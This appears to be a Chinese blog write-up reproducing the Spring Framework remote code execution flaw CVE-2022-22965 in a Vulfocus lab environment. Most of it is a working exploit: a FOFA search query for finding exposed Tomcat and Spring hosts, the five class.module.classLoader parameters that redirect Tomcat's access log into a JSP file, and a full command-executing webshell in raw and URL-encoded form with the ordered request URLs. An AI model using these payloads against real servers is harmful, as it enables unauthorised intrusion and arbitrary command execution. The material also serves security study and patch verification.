[CVE-2022-22965]Spring远程代码执行漏洞复现

漏洞概述(级别:高危)

续上一次Log4j2后,于2022年03月29日,Spring官方发布了Spring框架远程命令执行漏洞公告(CNVD-2022-23942、CVE-2022-22965)

攻击者可以通过构造恶意请求来利用这些漏洞,从而造成任意代码执行,未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行,该漏洞广泛存在于Spring框架以及衍生的框架中,JDK 9.0及以上版本会受到此漏洞影响

FOFA语法

app="APACHE-Tomcat" || app="vmware-SpringBoot-framework" || app="vmware-SpringBoot-framework" || app="vmware-Spring-Batch" || app="vmware-Spring-framework" || app="vmware-Spring-Security") && country="CN"

影响范围

  • 使用JDK9或更高版本

  • 使用Apache Tomcat作为Servlet容器

  • 基于spring-webmvc或spring-webflux

  • 使用传统WAR部署

  • Spring版本为5.3.0至5.3.17,5.2.0至5.2.19

漏洞复现

复现环境:Vulfocus 漏洞威胁分析平台

环境名称:vulfocus/spring-core-rce-2022-03-29:latest

开启环境

[CVE-2022-22965]Spring远程代码执行漏洞复现_第1张图片

访问123.58.236.76中25683端口  

[CVE-2022-22965]Spring远程代码执行漏洞复现_第2张图片

传入构造的POC第一步:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{content}i

调用class对象,通过ClassLoader取resources。context是Tomcat的StandardContext,parent拿到的是StandardEngine,pipeline拿到的是StandardPipeline,最终是给AccessLogValve对象的几个属性的赋值操作

%i 这个语法是从请求的header里面拿content,header的值目的是为了迎合tomcat日志的pattern

传入构造的POC第二步,日志会按照我们想要的方式,生成.jsp文件:

suffix是日志文件的后缀

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

传入构造的POC第三步,写入网站根目录:

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

传入构造的POC第四步:

prefix修改日志文件的前缀

class.module.classLoader.resources.context.parent.pipeline.first.prefix=ganyu

传入构造的POC第五步,fileDateFormat是日期文件的时间格式,这里设置为空:

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

payload:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{content}i

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=ganyu

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

依次传入payload,就会在tomcat的webapps的Root目录下生成一个jsp文件

POC1:

注意:这里因为环境重启了,导致我的ip和端口发生改变

[CVE-2022-22965]Spring远程代码执行漏洞复现_第3张图片POC2:

[CVE-2022-22965]Spring远程代码执行漏洞复现_第4张图片POC3:

[CVE-2022-22965]Spring远程代码执行漏洞复现_第5张图片POC4:

[CVE-2022-22965]Spring远程代码执行漏洞复现_第6张图片POC5:

[CVE-2022-22965]Spring远程代码执行漏洞复现_第7张图片访问prefix修改后的jsp文件

[CVE-2022-22965]Spring远程代码执行漏洞复现_第8张图片

上传webshell

接下来需要做的就是将内容更改为webshell,并让它解析就可以了 写入webshell到网站根目录

class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring

webshell:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

url编码webshell:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

所以顺序就是:

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring

url编码webshell:

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

这里的环境又没了,ip和端口重新更换了一下,每次环境只能开10分钟,我真的是服了这老六了,真特么扣

按照以上顺序重新上传一次

[CVE-2022-22965]Spring远程代码执行漏洞复现_第9张图片[CVE-2022-22965]Spring远程代码执行漏洞复现_第10张图片[CVE-2022-22965]Spring远程代码执行漏洞复现_第11张图片[CVE-2022-22965]Spring远程代码执行漏洞复现_第12张图片[CVE-2022-22965]Spring远程代码执行漏洞复现_第13张图片命令执行,flag在/tmp下

[CVE-2022-22965]Spring远程代码执行漏洞复现_第14张图片

你可能感兴趣的:(渗透测试,RCE,spring,rce,渗透测试)